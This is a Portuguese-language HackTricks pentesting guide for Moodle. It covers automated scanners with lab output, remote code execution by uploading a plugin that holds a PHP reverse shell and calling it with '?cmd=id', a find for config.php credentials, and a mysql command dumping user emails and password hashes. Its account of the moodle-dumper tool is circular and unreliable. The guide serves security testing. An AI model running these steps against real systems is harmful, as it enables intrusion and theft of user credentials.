hacktricks/network-services-pentesting/pentesting-web/moodle.md
2023-06-06 18:56:34 +00:00

9 KiB

Moodle

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Se você está interessado em carreira de hacking e hackear o impossível - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

Scans Automáticos

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:                                                              
    forum http://moodle.schooled.htb/moodle/mod/forum/
        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
        http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
    3.10.0-beta

[+] Possible interesting urls found:
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
    Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

O moodlescan é uma ferramenta de varredura automatizada para detectar vulnerabilidades em instalações do Moodle. Ele pode ser usado para identificar vulnerabilidades conhecidas, como SQL injection, cross-site scripting (XSS) e inclusão de arquivos locais (LFI), bem como para encontrar informações úteis, como usuários, cursos e plugins instalados.

A ferramenta é fácil de usar e pode ser executada a partir da linha de comando. Ele suporta vários tipos de autenticação, incluindo autenticação básica e autenticação de cookies. Além disso, ele pode ser configurado para ignorar certos tipos de vulnerabilidades ou para procurar apenas vulnerabilidades específicas.

O moodlescan é uma ferramenta útil para administradores do Moodle e testadores de penetração que desejam verificar a segurança de suas instalações do Moodle. No entanto, é importante lembrar que a ferramenta não é uma solução completa de segurança e não deve ser usada como a única medida de segurança para uma instalação do Moodle.

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl
	
.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

CMSMap é uma ferramenta de código aberto que ajuda a identificar a versão e os plugins instalados em um site Moodle. Ele também pode ser usado para encontrar vulnerabilidades conhecidas em versões específicas do Moodle. A ferramenta é executada em linha de comando e pode ser facilmente integrada a scripts de automação de testes de penetração.

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

Descobri que as ferramentas automáticas são bastante inúteis para encontrar vulnerabilidades que afetam a versão do moodle. Você pode verificá-las em https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Você precisa ter a função de gerente e pode instalar plugins dentro da guia "Administração do site"**:**

Se você é gerente, ainda pode precisar ativar essa opção. Você pode ver como no PoC de escalonamento de privilégios do moodle: https://github.com/HoangKien1020/CVE-2020-14321.

Em seguida, você pode instalar o seguinte plugin que contém o shell reverso php clássico do pentest-monkey (antes de fazer o upload, você precisa descompactá-lo, alterar o IP e a porta do revshell e compactá-lo novamente)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Ou você pode usar o plugin de https://github.com/HoangKien1020/Moodle_RCE para obter um shell PHP regular com o parâmetro "cmd".

Para acessar o plugin malicioso, você precisa acessar:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Encontrar credenciais do banco de dados

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Extrair Credenciais do Banco de Dados

Para extrair as credenciais do banco de dados do Moodle, você pode usar a ferramenta moodle-dumper. Esta ferramenta pode ser encontrada em https://github.com/riw777/moodle-dumper.

Para usá-la, você precisa fornecer as credenciais do banco de dados do Moodle e o caminho para o diretório onde deseja salvar o arquivo de despejo. O comando a seguir pode ser usado para extrair as credenciais do banco de dados:

python moodle-dumper.py -u <db_username> -p <db_password> -d <db_name> -o <output_directory>

Depois de executar este comando, você deve ter um arquivo de despejo do banco de dados do Moodle que contém as credenciais do banco de dados.

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Se você está interessado em uma carreira em hacking e quer hackear o que não pode ser hackeado - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥